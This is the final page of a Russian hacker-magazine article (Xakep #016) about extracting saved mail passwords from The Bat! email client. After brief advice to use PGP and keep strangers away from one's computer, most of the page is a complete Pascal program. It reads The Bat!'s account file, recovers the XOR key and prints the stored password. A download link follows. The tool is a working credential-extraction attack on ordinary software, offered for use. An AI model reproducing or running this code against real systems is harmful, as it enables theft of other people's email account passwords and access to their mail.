ак я ломал The Bat!, или пароли вампира

Xakep, номер #016, стр. 016-048-3


Самые нервные, наверное, сейчас завопят: "А нам что же делать"? А вам, дорогие мои, настоятельно рекомендуется не хранить пароли где ни попадя и пользоваться PGP. ПЖП с Батом прекрасно интегрируется. А главное - старайтесь пореже пускать за свой комп посторонних, даже хорошо вам знакомых. У меня один хорошо знакомый (ака посторонний) за две минуты гиговый винт умудрился прошерстить, пока я чайник ходил ставить (правда, ничего важного не нашел - для этого у меня Kremlin установлен - DES, IDEA, CAST, 3DES и другие официальные лица), а после моего прихода незамедлительно схлопотал в ухо и больше так не делал. :) Так что следите, гоните всех. Это ведь персональный компьютер, а не коллективная игрушка.

P.S. Гонорар за публикацию статьи автор перечисляет фирме RIT Labs на покупку книги Bruce Scheier "Applied Cryptography".

А вот и заветный листинг нового монстра для выбивания паролей из вампира.

program Bat_Hack;

var SourceFile: file of byte;

ch: char;

c: byte;

XOR_Value: byte;

PasswordLength: byte;

count:longint;

begin

assign (SourceFile, paramstr(1));

reset (SourceFile);

seek (SourceFile,filesize(SourceFile)-1);

read (SourceFile,c);

{Читаем последний байт файла}

{Этот байт - LF XORен по XOR_Value}

XOR_Value := (c xor 10);

{Находим XOR_Value}

seek (SourceFile,13);

read (SourceFile,c);

{Это длина пароля XORенная по XOR_Value}

PasswordLength := (c xor XOR_Value);

{Находим длину пароля}

if PasswordLength = 0 then

{Вдруг пароль не установлен}

begin

writeln ('No password !');

{не судьба...}

exit;

end;

for count := 1 to PasswordLength do

{Находим пароль}

begin

read (SourceFile,c);

write (chr (c xor XOR_Value));

end;

writeln;

close (SourceFile);

end.

P.P.S.: Качнуть все можно с www.xakep.ru/soft/

Назад на стр. 016-048-2  Содержание